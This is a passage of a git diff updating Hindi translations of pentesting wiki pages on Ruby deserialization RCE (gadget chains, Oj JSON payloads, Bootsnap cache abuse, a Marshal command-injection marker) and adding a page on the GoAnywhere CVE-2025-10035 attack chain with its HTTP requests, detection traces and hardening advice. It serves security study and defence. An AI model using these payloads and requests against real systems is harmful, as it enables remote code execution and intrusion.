 - `config/secrets.yml`
 - `/proc/self/environ`
-**Ruby 2.X सामान्य deserialization से RCE गैजेट श्रृंखला (अधिक जानकारी के लिए** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
+**Ruby 2.X generic deserialization to RCE gadget chain (more info in** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**):**
 ```ruby
 #!/usr/bin/env ruby
@ -875,18 +901,18 @@ require "base64"
 puts "Payload (Base64 encoded):"
 puts Base64.encode64(payload)
 ```
-अन्य RCE श्रृंखला जो Ruby On Rails का शोषण करती है: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
+Ruby On Rails को exploit करने के लिए अन्य RCE chain: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
-### Ruby .send() विधि
+### Ruby .send() method
-जैसा कि [**इस सुरक्षा रिपोर्ट**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/) में समझाया गया है, यदि किसी उपयोगकर्ता का असंसाधित इनपुट एक ruby ऑब्जेक्ट की `.send()` विधि तक पहुँचता है, तो यह विधि ऑब्जेक्ट के किसी भी अन्य विधि को किसी भी पैरामीटर के साथ **आमंत्रित** करने की अनुमति देती है।
+जैसा कि [**this vulnerability report**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/) में समझाया गया है, अगर किसी उपयोगकर्ता का unsanitized इनपुट किसी ruby object के `.send()` method तक पहुँचता है, तो यह method उस object के किसी भी अन्य मेथड को किसी भी पैरामीटर के साथ **किसी भी अन्य मेथड को invoke करना** की अनुमति देता है।
-उदाहरण के लिए, eval को कॉल करना और फिर दूसरे पैरामीटर के रूप में ruby कोड देना मनमाने कोड को निष्पादित करने की अनुमति देगा:
+उदाहरण के लिए, eval को कॉल करके और दूसरे parameter के रूप में ruby code देने से arbitrary code execute करने की अनुमति मिल जाएगी:
 ```ruby
 <Object>.send('eval', '<user input with Ruby code>') == RCE
 ```
-इसके अलावा, यदि केवल एक पैरामीटर **`.send()`** का एक हमलावर द्वारा नियंत्रित किया जाता है, जैसा कि पिछले लेख में उल्लेख किया गया है, तो किसी भी ऐसे ऑब्जेक्ट के मेथड को कॉल करना संभव है जिसे **आर्गुमेंट्स की आवश्यकता नहीं है** या जिनके आर्गुमेंट्स के **डिफ़ॉल्ट मान** हैं।\
+इसके अलावा, अगर केवल एक पैरामीटर **`.send()`** का attacker द्वारा नियंत्रित है, जैसा कि पिछले writeup में बताया गया है, तो ऑब्जेक्ट के किसी भी ऐसे method को कॉल करना संभव है जो **आर्ग्युमेंट्स की आवश्यकता नहीं रखते** या जिनके आर्ग्युमेंट्स के पास **डिफ़ॉल्ट मान** हैं.\
-इसके लिए, ऑब्जेक्ट के सभी मेथड्स को **गिनना संभव है ताकि कुछ दिलचस्प मेथड्स मिल सकें जो उन आवश्यकताओं को पूरा करते हैं**।
+इसके लिए, ऑब्जेक्ट के सभी methods को सूचीबद्ध करके **उन आवश्यकताओं को पूरा करने वाले कुछ रोचक methods ढूँढे जा सकते हैं।**
 ```ruby
 <Object>.send('<user_input>')
@ -910,19 +936,19 @@ candidate_methods.length() # Final number of methods=> 3595
 ```
 ### Ruby class pollution
-जांचें कि [कैसे एक Ruby क्लास को प्रदूषित करना और इसका दुरुपयोग करना संभव हो सकता है](ruby-class-pollution.md)।
+यह देखें कि यह कैसे संभव हो सकता है [pollute a Ruby class and abuse it in here](ruby-class-pollution.md)।
 ### Ruby _json pollution
-जब शरीर में कुछ मान भेजे जाते हैं जो हैशेबल नहीं होते जैसे कि एक एरे, तो उन्हें `_json` नामक एक नए कुंजी में जोड़ा जाएगा। हालाँकि, एक हमलावर के लिए यह भी संभव है कि वह शरीर में `_json` नामक एक मान सेट करे जिसमें वह मनचाहे मान डाल सकता है। फिर, यदि बैकएंड उदाहरण के लिए एक पैरामीटर की सत्यता की जांच करता है लेकिन फिर `_json` पैरामीटर का उपयोग कुछ क्रिया करने के लिए करता है, तो एक प्राधिकरण बायपास किया जा सकता है।
+जब body में कुछ values जो hashabled नहीं हैं जैसे कि array भेजे जाते हैं, वे `_json` नाम के नए key में जोड़े जाएंगे। हालांकि, एक attacker body में `_json` नाम का value भी सेट कर सकता है अपनी मनचाही arbitrary values के साथ। फिर, उदाहरण के लिए अगर backend किसी parameter की सत्यता जाँचता है लेकिन फिर भी `_json` parameter का उपयोग किसी action को करने के लिए करता है, तो authorisation bypass किया जा सकता है।
-अधिक जानकारी के लिए [Ruby _json pollution पृष्ठ](ruby-_json-pollution.md) पर जांचें।
+अधिक जानकारी के लिए देखें [Ruby _json pollution page](ruby-_json-pollution.md)।
 ### Other libraries
-यह तकनीक [**इस ब्लॉग पोस्ट**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared) से ली गई थी।
+This technique was taken[ **from this blog post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
-अन्य Ruby पुस्तकालय हैं जिन्हें ऑब्जेक्ट्स को सीरियलाइज़ करने के लिए उपयोग किया जा सकता है और इसलिए इसका दुरुपयोग RCE प्राप्त करने के लिए असुरक्षित डेसिरियलाइजेशन के दौरान किया जा सकता है। निम्नलिखित तालिका इनमें से कुछ पुस्तकालयों और उन विधियों को दिखाती है जिन्हें लोड की गई पुस्तकालय के अनसीरियलाइज होने पर कॉल किया जाता है (RCE प्राप्त करने के लिए दुरुपयोग करने के लिए कार्य):
+ऐसी अन्य Ruby libraries भी हैं जिनका उपयोग objects को serialize करने के लिए किया जा सकता है और इसलिए इन्हें insecure deserialization के दौरान abuse करके RCE हासिल करने के लिए प्रयोग किया जा सकता है। नीचे दी गई तालिका इनमें से कुछ libraries और उनमे से loaded library के unserialized होने पर कॉल होने वाले method को दिखाती है (बुनियादी रूप से RCE पाने के लिए abuse करने वाली function):
 <table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Library</strong></td><td><strong>Input data</strong></td><td><strong>Kick-off method inside class</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binary</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (class needs to be put into hash(map) as key)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (class needs to be put into hash(map) as key)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (class needs to be put into hash(map) as key)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([see notes regarding json_create at end](#table-vulnerable-sinks))</td></tr></tbody></table>
@ -948,7 +974,7 @@ puts json_payload
 # Sink vulnerable inside the code accepting user input as json_payload
 Oj.load(json_payload)
 ```
-Oj का दुरुपयोग करने की कोशिश के मामले में, एक गैजेट क्लास मिलना संभव था जो अपने `hash` फ़ंक्शन के अंदर `to_s` को कॉल करेगा, जो spec को कॉल करेगा, जो fetch_path को कॉल करेगा, जिससे इसे एक यादृच्छिक URL लाने के लिए बनाया जा सकता था, जो इन प्रकार की अस्वच्छ डेसिरियलाइजेशन कमजोरियों का एक बड़ा डिटेक्टर प्रदान करता है।
+Oj का दुरुपयोग करने की कोशिश में, एक gadget class पाया जा सका था जिसकी अंदर के `hash` function के भीतर `to_s` को कॉल किया जाता है, जो spec को कॉल करता है, जो fetch_path को कॉल करता है — जिसे इस तरह बनाना संभव था कि वह एक random URL को fetch करे, और इस तरह यह unsanitized deserialization vulnerabilities के लिए एक शानदार detector प्रदान करता है।
 ```json
 {
 "^o": "URI::HTTP",
@ -960,7 +986,7 @@ Oj का दुरुपयोग करने की कोशिश के
 "password": "anypw"
 }
 ```
-इसके अलावा, यह पाया गया कि पिछले तकनीक के साथ एक फ़ोल्डर भी सिस्टम में बनाया जाता है, जो किसी अन्य गैजेट का दुरुपयोग करने के लिए एक आवश्यकता है ताकि इसे कुछ इस तरह के पूर्ण RCE में परिवर्तित किया जा सके:
+इसके अलावा, पाया गया कि पिछली तकनीक के साथ सिस्टम में एक फ़ोल्डर भी बनाया जाता है, जो किसी अन्य gadget का दुरुपयोग करके इसे पूर्ण RCE में बदलने के लिए आवश्यक है, जैसे कि:
 ```json
 {
 "^o": "Gem::Resolver::SpecSpecification",
@ -986,42 +1012,45 @@ Check for more details in the [**original post**](https://github.blog/security/v
 ### Bootstrap Caching
-यह वास्तव में एक deserialization vuln नहीं है, लेकिन bootstrap caching का दुरुपयोग करने के लिए एक अच्छा ट्रिक है जिससे एक rails एप्लिकेशन से RCE प्राप्त किया जा सकता है जिसमें एक मनमाना फ़ाइल लेखन होता है (पूर्ण [original post in here](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/) देखें)।
+Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (find the complete [original post in here](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
-नीचे उन चरणों का संक्षिप्त सारांश है जो लेख में Bootsnap caching का दुरुपयोग करके एक मनमाने फ़ाइल लेखन भेद्यता का शोषण करने के लिए विस्तृत हैं:
+नीचे Bootsnap caching का दुरुपयोग करके arbitrary file write vulnerability का exploit करने के लिए लेख में दिए गए चरणों का संक्षिप्त सारांश दिया गया है:
 - Identify the Vulnerability and Environment
-Rails ऐप की फ़ाइल अपलोड कार्यक्षमता एक हमलावर को मनमाने ढंग से फ़ाइलें लिखने की अनुमति देती है। हालांकि ऐप प्रतिबंधों के साथ चलता है (केवल कुछ निर्देशिकाएँ जैसे tmp Docker के non-root उपयोगकर्ता के कारण लिखने योग्य हैं), फिर भी यह Bootsnap कैश निर्देशिका (आमतौर पर tmp/cache/bootsnap के तहत) में लिखने की अनुमति देता है।
+  Rails ऐप की file upload functionality एक attacker को arbitrary तरीके से files लिखने की अनुमति देती है। भले ही ऐप restrictions के साथ चल रही हो (Docker के non-root user के कारण केवल कुछ डायरेक्टरी जैसे tmp ही writable हों), यह अभी भी Bootsnap cache directory (आम तौर पर tmp/cache/bootsnap के अंतर्गत) में लिखने की अनुमति देता है।
 - Understand Bootsnap’s Cache Mechanism
-Bootsnap Rails बूट समय को संकलित Ruby कोड, YAML, और JSON फ़ाइलों को कैश करके तेज करता है। यह कैश फ़ाइलें संग्रहीत करता है जिनमें एक कैश कुंजी हेडर होता है (जिसमें Ruby संस्करण, फ़ाइल आकार, mtime, संकलन विकल्प आदि जैसे फ़ील्ड होते हैं) इसके बाद संकलित कोड होता है। इस हेडर का उपयोग ऐप स्टार्टअप के दौरान कैश को मान्य करने के लिए किया जाता है।
+  Bootsnap Rails boot समय को तेज करता है by caching compiled Ruby code, YAML, और JSON फाइलें। यह cache फ़ाइलें स्टोर करता है जिनमें एक cache key header होता है (जिसमें Ruby version, file size, mtime, compile options, आदि जैसे fields होते हैं) और इसके बाद compiled code आता है। इस header का उपयोग ऐप startup के दौरान cache को validate करने के लिए किया जाता है।
 - Gather File Metadata
-हमलावर पहले एक लक्षित फ़ाइल का चयन करता है जो संभवतः Rails स्टार्टअप के दौरान लोड होती है (उदाहरण के लिए, Ruby के मानक पुस्तकालय से set.rb)। कंटेनर के अंदर Ruby कोड निष्पादित करके, वे महत्वपूर्ण मेटाडेटा (जैसे RUBY_VERSION, RUBY_REVISION, आकार, mtime, और compile_option) निकालते हैं। यह डेटा एक मान्य कैश कुंजी बनाने के लिए आवश्यक है।
+  attacker पहले एक target file चुनता है जो संभवतः Rails startup के दौरान load होता है (उदाहरण के लिए, Ruby के standard library से set.rb)। container के अंदर Ruby code execute करके वे महत्वपूर्ण metadata निकालते हैं (जैसे RUBY_VERSION, RUBY_REVISION, size, mtime, और compile_option)। यह डेटा एक valid cache key तैयार करने के लिए आवश्यक है।
 - Compute the Cache File Path
-Bootsnap के FNV-1a 64-बिट हैश तंत्र की नकल करके, सही कैश फ़ाइल पथ निर्धारित किया जाता है। यह कदम सुनिश्चित करता है कि दुर्भावनापूर्ण कैश फ़ाइल ठीक उसी स्थान पर रखी गई है जहाँ Bootsnap इसे अपेक्षित करता है (जैसे, tmp/cache/bootsnap/compile-cache-iseq/ के तहत)।
+  Bootsnap के FNV-1a 64-bit hash mechanism को replicate करके सही cache file path निर्धारित की जाती है। यह कदम सुनिश्चित करता है कि malicious cache file बिल्कुल वहीं रखा जाए जहाँ Bootsnap अपेक्षा करता है (उदाहरण के लिए tmp/cache/bootsnap/compile-cache-iseq/ के अंतर्गत)।
 - Craft the Malicious Cache File
-हमलावर एक पेलोड तैयार करता है जो:
+  attacker एक payload तैयार करता है जो:
- मनमाने आदेशों को निष्पादित करता है (उदाहरण के लिए, प्रक्रिया जानकारी दिखाने के लिए id चलाना)।
+  - arbitrary commands execute करता है (उदाहरण के लिए, id चलाकर process जानकारी दिखाना)।
- निष्पादन के बाद दुर्भावनापूर्ण कैश को हटा देता है ताकि पुनरावृत्त शोषण को रोका जा सके।
+  - execution के बाद recursive exploitation रोकने के लिए malicious cache को हटा देता है।
- एप्लिकेशन को क्रैश करने से बचाने के लिए मूल फ़ाइल (जैसे, set.rb) को लोड करता है।
+  - application क्रैश न करे इसके लिए original file (उदाहरण के लिए set.rb) को load करता है।
-यह पेलोड बाइनरी Ruby कोड में संकलित किया जाता है और एक सावधानीपूर्वक निर्मित कैश कुंजी हेडर (पूर्व में एकत्रित मेटाडेटा और Bootsnap के लिए सही संस्करण संख्या का उपयोग करके) के साथ जोड़ा जाता है।
+  यह payload binary Ruby code में compile किया जाता है और पहले से एकत्र किए गए metadata और Bootsnap के सही version नंबर का उपयोग करके सावधानीपूर्वक निर्मित cache key header के साथ concatenated किया जाता है।
 - Overwrite and Trigger Execution
-मनमाने फ़ाइल लेखन भेद्यता का उपयोग करके, हमलावर तैयार की गई कैश फ़ाइल को गणना की गई स्थान पर लिखता है। अगला, वे एक सर्वर पुनरारंभ को ट्रिगर करते हैं (tmp/restart.txt में लिखकर, जिसे Puma द्वारा मॉनिटर किया जाता है)। पुनरारंभ के दौरान, जब Rails लक्षित फ़ाइल की आवश्यकता होती है, तो दुर्भावनापूर्ण कैश फ़ाइल लोड होती है, जिससे दूरस्थ कोड निष्पादन (RCE) होता है।
+
  arbitrary file write vulnerability का उपयोग करके attacker crafted cache file को computed location पर लिखता है। फिर वे server restart trigger करते हैं (tmp/restart.txt में लिखकर, जिसे Puma monitor करता है)। Restart के दौरान, जब Rails targeted file को require करता है, malicious cache file load होता है और remote code execution (RCE) हो जाता है।
 ### Ruby Marshal exploitation in practice (updated)
-किसी भी पथ को जहां अविश्वसनीय बाइट्स `Marshal.load`/`marshal_load` तक पहुँचते हैं, एक RCE सिंक के रूप में मानें। Marshal मनमाने ऑब्जेक्ट ग्राफ को पुनर्निर्माण करता है और सामग्रीकरण के दौरान पुस्तकालय/जेम कॉलबैक को ट्रिगर करता है।
+उन किसी भी path को जहाँ untrusted bytes `Marshal.load`/`marshal_load` तक पहुँचते हैं RCE sink के रूप में माना जाना चाहिए। Marshal arbitrary object graphs को reconstruct करता है और materialization के दौरान library/gem callbacks को trigger कर देता है।
 - Minimal vulnerable Rails code path:
 ```ruby
@ -1037,37 +1066,38 @@ end
 end
 end
 ```
- वास्तविक श्रृंखलाओं में देखी जाने वाली सामान्य गैजेट श्रेणियाँ: `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`.
+- वास्तविक chains में देखे जाने वाले सामान्य gadget क्लासेस: `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`.
- पेलोड में एम्बेडेड सामान्य साइड-इफेक्ट मार्कर (जो अनमार्शल के दौरान निष्पादित होते हैं):
+- पेलोड्स में एम्बेड किया जाने वाला सामान्य side-effect marker (unmarshal के दौरान निष्पादित):
 ```
 *-TmTT="$(id>/tmp/marshal-poc)"any.zip
 ```
-जहां यह वास्तविक ऐप्स में प्रकट होता है:
+Where it surfaces in real apps:
- Rails कैश स्टोर्स और सत्र स्टोर्स ऐतिहासिक रूप से Marshal का उपयोग करते हैं
+- Rails के cache stores और session stores जो ऐतिहासिक रूप से Marshal का उपयोग करते हैं
- बैकग्राउंड जॉब बैकएंड और फ़ाइल-समर्थित ऑब्जेक्ट स्टोर्स
+- Background job बैकएंड और फ़ाइल-आधारित object stores
- बाइनरी ऑब्जेक्ट ब्लॉब्स की किसी भी कस्टम स्थायीता या परिवहन
+- किसी भी कस्टम persistence या binary object blobs के transport
-औद्योगिक गैजेट खोज:
+Industrialized gadget discovery:
- कंस्ट्रक्टर्स, `hash`, `_load`, `init_with`, या अनमार्शल के दौरान कॉल किए गए साइड-इफेक्ट वाले तरीकों के लिए Grep करें
+- constructors, `hash`, `_load`, `init_with`, या unmarshal के दौरान invoke होने वाले side-effectful methods के लिए Grep करें
- स्रोतों → सिंक्स को ट्रेस करने और गैजेट्स को सतह पर लाने के लिए CodeQL के Ruby असुरक्षित डेसिरियलाइजेशन क्वेरीज़ का उपयोग करें
+- CodeQL के Ruby unsafe deserialization queries का उपयोग करके sources → sinks को trace करें और gadgets surface करें
- सार्वजनिक मल्टी-फॉर्मेट PoCs (JSON/XML/YAML/Marshal) के साथ मान्य करें
+- सार्वजनिक multi-format PoCs (JSON/XML/YAML/Marshal) के साथ validate करें
 ## संदर्भ
- Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
+- Trail of Bits – Marshal madness: Ruby deserialization exploits का संक्षिप्त इतिहास: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
 - elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
 - Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
- CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
+- CVE-2019-5420 (Rails 5.2 असुरक्षित deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
- ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
+- ZDI – RCE via Ruby on Rails Active Storage असुरक्षित deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
- Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
+- Include Security – Rubyland में gadget chains की खोज: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
 - GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
 - GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
 - Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
 - Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
 - Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
- Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
+- Ruby 3.4.0-rc1 रिलीज़: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
 - Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
- Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
+- Trail of Bits – RubyGems.org का ऑडिट (Marshal निष्कर्ष): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
 - watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
 {{#include ../../banners/hacktricks-training.md}}
--- a/src/pentesting-web/deserialization/java-signedobject-gated-deserialization.md
+++ b/src/pentesting-web/deserialization/java-signedobject-gated-deserialization.md
@ -0,0 +1,140 @@
 # Java SignedObject-gated Deserialization and Pre-auth Reachability via Error Paths
 {{#include ../../banners/hacktricks-training.md}}
 यह पृष्ठ java.security.SignedObject के इर्द‑गिर्द बने एक सामान्य "guarded" Java deserialization पैटर्न और यह दर्शाता है कि कैसे दिखने में अप्राप्य sinks त्रुटि-हैंडलिंग प्रवाहों के माध्यम से pre-auth पहुँच योग्य बन सकते हैं। यह तकनीक Fortra GoAnywhere MFT (CVE-2025-10035) में देखी गई थी, लेकिन समान डिज़ाइनों पर भी लागू है।
 ## Threat model
 - Attacker एक HTTP endpoint तक पहुँच सकता है जो अंततः attacker-supplied byte[] को प्रोसेस करता है, जो कि एक serialized SignedObject के रूप में भेजा गया है।
 - कोड एक validating wrapper (e.g., Apache Commons IO ValidatingObjectInputStream या एक custom adapter) का उपयोग करता है ताकि सबसे बाहरी प्रकार को SignedObject (या byte[]) तक सीमित किया जा सके।
 - SignedObject.getObject() द्वारा लौटाया गया inner object वह जगह है जहाँ gadget chains ट्रिगर कर सकते हैं (e.g., CommonsBeanutils1), परन्तु यह केवल signature verification gate के बाद होता है।
 ## Typical vulnerable pattern
 A simplified example based on com.linoma.license.gen2.BundleWorker.verify:
 ```java
 private static byte[] verify(byte[] payload, KeyConfig keyCfg) throws Exception {
 String sigAlg = "SHA1withDSA";
 if ("2".equals(keyCfg.getVersion())) {
 sigAlg = "SHA512withRSA";        // key version controls algorithm
 }
 PublicKey pub = getPublicKey(keyCfg);
 Signature sig = Signature.getInstance(sigAlg);
 // 1) Outer, "guarded" deserialization restricted to SignedObject
 SignedObject so = (SignedObject) JavaSerializationUtilities.deserialize(
 payload, SignedObject.class, new Class[]{ byte[].class });
 if (keyCfg.isServer()) {
 // Hardened server path
 return ((SignedContainer) JavaSerializationUtilities.deserializeUntrustedSignedObject(
 so, SignedContainer.class, new Class[]{ byte[].class }
 )).getData();
 } else {
 // 2) Signature check using a baked-in public key
 if (!so.verify(pub, sig)) {
 throw new IOException("Unable to verify signature!");
 }
 // 3) Inner object deserialization (potential gadget execution)
 SignedContainer inner = (SignedContainer) so.getObject();
 return inner.getData();
 }
 }
 ```
 Key observations:
 - The validating deserializer at (1) blocks arbitrary top-level gadget classes; only SignedObject (or raw byte[]) is accepted.
 - The RCE primitive would be in the inner object materialized by SignedObject.getObject() at (3).
 - A signature gate at (2) enforces that the SignedObject must verify against a product-baked public key. Unless the attacker can produce a valid signature, the inner gadget never deserializes.
 ## Exploitation considerations
 कोड निष्पादन हासिल करने के लिए, एक हमलावर को एक सही तरीके से साइन किया गया SignedObject पहुंचाना होगा जो अपने inner object के रूप में एक malicious gadget chain को रैप करता है। इसके लिए सामान्यतः निम्न में से एक चाहिए:
 - Private key compromise: उत्पाद द्वारा license objects को साइन/वेरिफाई करने के लिए उपयोग किए गए मिलान करने वाले private key को प्राप्त करना।
 - Signing oracle: vendor या किसी trusted signing service को बाध्य करना ताकि वे attacker-controlled serialized content पर साइन करें (उदा., यदि कोई license server client input से embedded arbitrary object पर साइन करता है)।
 - Alternate reachable path: ऐसा server-side path ढूँढना जो inner object को verify() लागू किए बिना deserialize कर दे, या जो किसी specific mode में signature checks को स्किप कर दे।
 इनमें से किसी के अभाव में, signature verification deserialization sink मौजूद होने के बावजूद exploitation को रोकेगा।
 ## Pre-auth reachability via error-handling flows
 यहां तक कि जब एक deserialization endpoint लग रहा हो कि वह authentication या एक session-bound token की मांग करता है, error-handling code अनायास ही token को mint करके unauthenticated session से जोड़ सकता है।
 Example reachability chain (GoAnywhere MFT):
 - Target servlet: /goanywhere/lic/accept/<GUID> requires a session-bound license request token.
 - Error path: hitting /goanywhere/license/Unlicensed.xhtml with trailing junk and invalid JSF state triggers AdminErrorHandlerServlet, which does:
  - SessionUtilities.generateLicenseRequestToken(session)
  - Redirects to vendor license server with a signed license request in bundle=<...>
 - The bundle can be decrypted offline (hard-coded keys) to recover the GUID. Keep the same session cookie and POST to /goanywhere/lic/accept/<GUID> with attacker-controlled bundle bytes, reaching the SignedObject sink pre-auth.
 Proof-of-reachability (impact-less) probe:
 ```http
 GET /goanywhere/license/Unlicensed.xhtml/x?javax.faces.ViewState=x&GARequestAction=activate HTTP/1.1
 Host: <target>
 ```
 - अनपैच्ड: 302 Location header to https://my.goanywhere.com/lic/request?bundle=... and Set-Cookie: ASESSIONID=...
 - पैच्ड: redirect without bundle (no token generation).
 ## ब्लू-टीम डिटेक्शन
 stack traces/logs में मौजूद संकेत स्पष्ट रूप से SignedObject-gated sink को हिट करने के प्रयासों का सुझाव देते हैं:
 ```
 java.io.ObjectInputStream.readObject
 java.security.SignedObject.getObject
 com.linoma.license.gen2.BundleWorker.verify
 com.linoma.license.gen2.BundleWorker.unbundle
 com.linoma.license.gen2.LicenseController.getResponse
 com.linoma.license.gen2.LicenseAPI.getResponse
 com.linoma.ga.ui.admin.servlet.LicenseResponseServlet.doPost
 ```
 ## हार्डनिंग मार्गदर्शन
 - किसी भी getObject() कॉल से पहले सिग्नेचर सत्यापन बनाए रखें और सुनिश्चित करें कि सत्यापन इच्छित public key/algorithm का उपयोग कर रहा है।
 - प्रत्यक्ष SignedObject.getObject() कॉल्स को एक हार्डन्ड wrapper से बदलें जो inner stream पर फ़िल्टरिंग को दोबारा लागू करे (उदा., deserializeUntrustedSignedObject using ValidatingObjectInputStream/ObjectInputFilter allow-lists)।
 - ऐसे error-handler flows हटाएँ जो अप्रमाणित उपयोगकर्ताओं के लिए session-bound tokens जारी करते हैं। error paths को attack surface के रूप में मानें।
 - बाहरी और आंतरिक दोनों deserializations के लिए कठोर allow-lists के साथ Java serialization filters (JEP 290) को प्राथमिकता दें। उदाहरण:
 ```java
 ObjectInputFilter filter = info -> {
 Class<?> c = info.serialClass();
 if (c == null) return ObjectInputFilter.Status.UNDECIDED;
 if (c == java.security.SignedObject.class || c == byte[].class) return ObjectInputFilter.Status.ALLOWED;
 return ObjectInputFilter.Status.REJECTED; // outer layer
 };
 ObjectInputFilter.Config.setSerialFilter(filter);
 // For the inner object, apply a separate strict DTO allow-list
 ```
 ## उदाहरण हमला चेन सारांश (CVE-2025-10035)
 1) Pre-auth token minting via error handler:
 ```http
 GET /goanywhere/license/Unlicensed.xhtml/watchTowr?javax.faces.ViewState=watchTowr&GARequestAction=activate
 ```
 302 प्राप्त करें जिसमें bundle=... और ASESSIONID=...; bundle को offline में decrypt करके GUID पुनर्प्राप्त करें।
 2) वही cookie के साथ pre-auth में sink तक पहुँचें:
 ```http
 POST /goanywhere/lic/accept/<GUID> HTTP/1.1
 Cookie: ASESSIONID=<value>
 Content-Type: application/x-www-form-urlencoded
 bundle=<attacker-controlled-bytes>
 ```
 3) RCE के लिए सही तरह से साइन किया गया SignedObject होना आवश्यक है जो एक gadget chain को wrap करता है। शोधकर्ताओं द्वारा signature verification को bypass नहीं किया जा सका; exploit करने के लिए matching private key या signing oracle तक पहुँच अनिवार्य है।
 ## फिक्स किए गए संस्करण और व्यवहार में बदलाव
 - GoAnywhere MFT 7.8.4 and Sustain Release 7.6.3:
 - Inner deserialization को सख्त करें by replacing SignedObject.getObject() with a wrapper (deserializeUntrustedSignedObject).
 - error-handler token generation को हटाएँ, जिससे pre-auth reachability बंद हो जाती है।
 ## JSF/ViewState पर नोट्स
 यह reachability trick एक JSF पेज (.xhtml) और invalid javax.faces.ViewState का उपयोग करके privileged error handler में रूट करती है। जबकि यह JSF deserialization समस्या नहीं है, यह एक दोहराने वाला pre-auth पैटर्न है: ऐसे error handlers में तोड़ फोड़ करना जो privileged actions करते हैं और security-relevant session attributes सेट करते हैं।
 ## References
 - [watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035](https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/)
 - [Fortra advisory FI-2025-012 – Deserialization Vulnerability in GoAnywhere MFT's License Servlet](https://www.fortra.com/security/advisories/product-security/fi-2025-012)
 {{#include ../../banners/hacktricks-training.md}}